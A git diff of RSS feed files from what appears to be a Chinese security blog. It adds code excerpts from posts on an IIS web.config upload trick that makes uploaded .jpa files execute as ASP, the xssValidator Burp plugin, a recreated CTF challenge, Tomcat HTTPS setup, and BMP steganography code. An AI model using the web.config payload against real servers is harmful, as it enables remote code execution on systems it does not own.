style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;configuration&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;system.webServer&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;handlers</span> <span style="color:#a6e22e">accessPolicy=</span><span style="color:#e6db74">&#34;Read, Script, Write&#34;</span><span style="color:#f92672">&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;add</span> <span style="color:#a6e22e">name=</span><span style="color:#e6db74">&#34;web_config&#34;</span> <span style="color:#a6e22e">path=</span><span style="color:#e6db74">&#34;*.jpa&#34;</span> <span style="color:#a6e22e">verb=</span><span style="color:#e6db74">&#34;*&#34;</span> <span style="color:#a6e22e">modules=</span><span style="color:#e6db74">&#34;IsapiModule&#34;</span> <span style="color:#a6e22e">scriptProcessor=</span><span style="color:#e6db74">&#34;%windir%\system32\inetsrv\asp.dll&#34;</span> <span style="color:#a6e22e">resourceType=</span><span style="color:#e6db74">&#34;Unspecified&#34;</span> <span style="color:#a6e22e">requireAccess=</span><span style="color:#e6db74">&#34;Write&#34;</span> <span style="color:#a6e22e">preCondition=</span><span style="color:#e6db74">&#34;bitness64&#34;</span> <span style="color:#f92672">/&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/handlers&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;security&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;requestFiltering&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;fileExtensions&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;remove</span> <span style="color:#a6e22e">fileExtension=</span><span style="color:#e6db74">&#34;.jpa&#34;</span> <span style="color:#f92672">/&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/fileExtensions&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;hiddenSegments&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;remove</span> <span style="color:#a6e22e">segment=</span><span style="color:#e6db74">&#34;web.config&#34;</span> <span style="color:#f92672">/&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/hiddenSegments&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/requestFiltering&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/security&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/system.webServer&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;appSettings&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/appSettings&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/configuration&gt;</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>上传完成web.config到Web目录下后,可以再上传<code>*.jpa</code>的扩展名文件达到执行任意代码的目的。</p>xssValidatorhttps://payloads.online/archivers/2018-10-19/1/Fri, 19 Oct 2018 00:00:44 +0000https://payloads.online/archivers/2018-10-19/1/<h2 id="0x00-前言">0x00 前言</h2> <p>xss Validator是一个Burp商店的一个高分插件,该插件依赖于<a href="http://phantomjs.org">phantomjs</a>项目以及Burp的Intruder模块。</p> <h2 id="0x01-安装">0x01 安装</h2> <h3 id="安装插件">安装插件</h3> @@ -44,7 +68,29 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 -</span></code></prCTF - 美眉的手机号https://payloads.online/archivers/2017-11-14/1/Tue, 14 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-14/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/G/p/bin&gt; pwd +</span></span><span style="display:flex;"><span>/Users/rvn0xsy/GitProject/phantomjs-2.1.1-macosx/bin +</span></span><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/G/p/bin&gt; ls +</span></span><span style="display:flex;"><span>phantomjs xss.js +</span></span><span style="display:flex;"><span>rvn0xsy@Rvn0xsy ~/G/p/bin&gt; ./phantomjs xss.js <span style="color:#75715e"># 启动监听</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>这时回到Burp的xss Validator插件页面:</p> +<p> + <img src="https://images.payloads.online/339905be-4f5f-11ec-bdc6-00d861bf4abb.png" alt=""> + +</p> +<p>其中:</p> +<ul> +<li><code>Grep Phrase</code>是XSS执行成功后,能够解析出的字符串,支持自定义。</li> +<li><code>Javascript function</code>是验证函数,会被解析的时候调用。</li> +<li><code>Javascript event handlers</code>是监听事件。</li> +<li><code>Payloads</code>是测试XSS的模板,必须包含<code>{JAVASCRIPT}</code>,否则无法判断状态</li> +</ul> +<h2 id="0x03-测试演示">0x03 测试演示</h2> +<!-- raw HTML omitted -->CTF - 美眉的手机号https://payloads.online/archivers/2017-11-14/1/Tue, 14 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-14/1/<h2 id="0x00-前言">0x00 前言</h2> <p>十一月十一号,在北科大参加了一场CTF,也是第一次投身真正的比赛</p> <p>个人感觉,CTF并不是一种学习方式,但是绝对可以考验你的技术深度,这次去北京,确实感受到了那种极客精神,不管题目难或易,都有可圈可点之处,我将他们看作一道道关卡,将自己掌握的知识不断融合,去开辟新的思路,我很享受这个过程,其中,主要做了两道比较深刻的题目,在这里拿出来与大家分享,由于当时场地不允许连接外网,不能查阅资料,更获取不到服务器上的题目源代码,我只能回忆题目中的逻辑,通过PHP将它实现,略有改动。</p> <p>我自己还原的源代码可以在这里看到:<code>https://github.com/Rvn0xsy/ctf_get_phone</code></p> @@ -108,7 +154,46 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35 -</span></code></prTomcat 开启 https支持https://payloads.online/archivers/2017-08-21/1/Mon, 21 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-21/1/<h2 id="0x00-配置keystore">0x00 配置keystore</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#register&#34;</span>).<span style="color:#a6e22e">bind</span>(<span style="color:#e6db74">&#39;click&#39;</span>,<span style="color:#66d9ef">function</span>(){ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">usernameObj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#username&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">passwordObj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#password&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">phoneObj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#phone&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">usernameVal</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">usernameObj</span>.<span style="color:#a6e22e">val</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">passwordVal</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">passwordObj</span>.<span style="color:#a6e22e">val</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">phoneVal</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">phoneObj</span>.<span style="color:#a6e22e">val</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">usernameVal</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">usernameVal</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">4</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Username is empty or short!&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">passwordVal</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">passwordVal</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">4</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Password is empty or short!&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">phoneVal</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">phoneVal</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">11</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Phone is empty or short!&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">$</span>.<span style="color:#a6e22e">post</span>(<span style="color:#e6db74">&#34;/ctf/api.php?method=register&#34;</span>,{ +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#34;username&#34;</span><span style="color:#f92672">:</span><span style="color:#a6e22e">usernameVal</span>,<span style="color:#e6db74">&#34;password&#34;</span><span style="color:#f92672">:</span><span style="color:#a6e22e">passwordVal</span>,<span style="color:#e6db74">&#34;phone&#34;</span><span style="color:#f92672">:</span><span style="color:#a6e22e">phoneVal</span> +</span></span><span style="display:flex;"><span> },<span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">data</span>,<span style="color:#a6e22e">status</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">obj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">jQuery</span>.<span style="color:#a6e22e">parseJSON</span>(<span style="color:#a6e22e">data</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">status</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">status</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">data</span>); +</span></span><span style="display:flex;"><span> window.<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/ctf/index.php&#39;</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>; +</span></span><span style="display:flex;"><span> }<span style="color:#66d9ef">else</span>{ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Error :&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">data</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> }) +</span></span><span style="display:flex;"><span> }); +</span></span></code></pre></td></tr></table> +</div> +</div><p>上面是绑定的点击事件,提交到<code>/ctf/api.php?method=register</code></p>Tomcat 开启 https支持https://payloads.online/archivers/2017-08-21/1/Mon, 21 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-21/1/<h2 id="0x00-配置keystore">0x00 配置keystore</h2> <p>要使用ssl connector,必须先创建一个keystore。他包含了服务器中被客户端用于验证服务器的数字证书。一旦客户端接受了这个证书,客户端就可以使用public key去加密他们要发送的数据。而服务器,拥有一个private key,作为唯一解密数据的密钥。</p> <p>进入JDK环境的bin目录,调用keytool来完成我们的证书生成:</p> <p><code>keytool -genkey -alias tomcat -keyalg RSA</code></p> @@ -135,4 +220,17 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 -</span></code></pr \ No newline at end of file +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> &lt;Connector port=&#34;8443&#34; protocol=&#34;HTTP/1.1&#34; SSLEnabled=&#34;true&#34; +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> maxThreads=&#34;150&#34; scheme=&#34;https&#34; secure=&#34;true&#34; +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> clientAuth=&#34;false&#34; sslProtocol=&#34;TLS&#34; /&gt; +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> --&gt;</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>改成:</p> \ No newline at end of file diff --git a/categories/windows/index.xml b/categories/windows/index.xml index aa6b514..1cd4c7b 100644 --- a/categories/windows/index.xml +++ b/categories/windows/index.xml @@ -40,4 +40,112 @@ file gets deleted.</p>BMP位图隐写</titl <p> <img src="https://images.payloads.online/4c568f90-4f5f-11ec-8291-00d861bf4abb.png" alt="2019-01-31-16-16-59"> -</p></description></item></channel></rss> \ No newline at end of file +</p> +<p><strong>其中36前面的00 00 00 00是保留位,没有意义。</strong></p> +<p>36 00 00 00(0x36)转换成十进制是54。</p> +<p>也就是说,从BMP文件的第一个字节开始,到第54个字节就是像素的开始。</p> +<p> + <img src="https://images.payloads.online/4c8c9144-4f5f-11ec-982e-00d861bf4abb.png" alt="2019-01-31-16-21-16"> + +</p> +<p>三个D8就是一个像素。</p> +<h2 id="0x04-写入内容">0x04 写入内容</h2> +<p>这个过程中,我们可以写入shellcode、PE文件、字符串等。</p> +<p>这里我只是写入了一个“Hello world !!!”:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">36 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">37 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">38 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">41 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">42 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">43 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">45 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// ConsoleApplication1.cpp : This file contains the &#39;main&#39; function. Program execution begins and ends there. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;winsock.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">// int WinMain(HINSTANCE hinstance,HINSTANCE hprevinstance,LPSTR lpcmdline,int ncmdshow) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> CHAR text[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Hello world !!!&#34;</span>; +</span></span><span style="display:flex;"><span> LPCWCHAR pFilename <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;C:</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Users</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Rvn0xsy</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">source</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">repos</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">ConsoleApplication1</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Debug</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">splash.bmp&#34;</span>); +</span></span><span style="display:flex;"><span> LPCWCHAR pSaveFilename <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;C:</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Users</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Rvn0xsy</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">source</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">repos</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">ConsoleApplication1</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Debug</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">save.bmp&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 创建文件句柄,打开图片 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hFile <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFile</span>(pFilename, GENERIC_ALL, <span style="color:#ae81ff">0</span>, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hFile <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">GetLastError</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBox</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;CreateFile&#34;</span>), <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Error&#34;</span>), MB_OK); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 获取文件大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DWORD dwFileSize; +</span></span><span style="display:flex;"><span> dwFileSize<span style="color:#f92672">=</span><span style="color:#a6e22e">GetFileSize</span>(hFile, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 申请一个与文件大小对应的内存空间 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> CHAR <span style="color:#f92672">*</span> lpBuffer <span style="color:#f92672">=</span>(CHAR <span style="color:#f92672">*</span>) <span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, dwFileSize); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 将文件内容读入内存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">ReadFile</span>(hFile, lpBuffer, dwFileSize, <span style="color:#f92672">&amp;</span>dwFileSize, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 获取第一个像素点对应的首字节 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DWORD <span style="color:#f92672">*</span> point <span style="color:#f92672">=</span> (DWORD<span style="color:#f92672">*</span>)(lpBuffer <span style="color:#f92672">+</span> <span style="color:#ae81ff">10</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 获取首个像素地址 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> CHAR<span style="color:#f92672">*</span> lpData <span style="color:#f92672">=</span> (lpBuffer <span style="color:#f92672">+</span> (<span style="color:#f92672">*</span>point)); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 写入内容 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CopyMemory</span>(lpData, text, <span style="color:#66d9ef">sizeof</span>(text)); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">//创建保存副本 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hSave <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFile</span>(pSaveFilename, GENERIC_ALL, <span style="color:#ae81ff">0</span>, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WriteFile</span>(hSave, lpBuffer, dwFileSize, <span 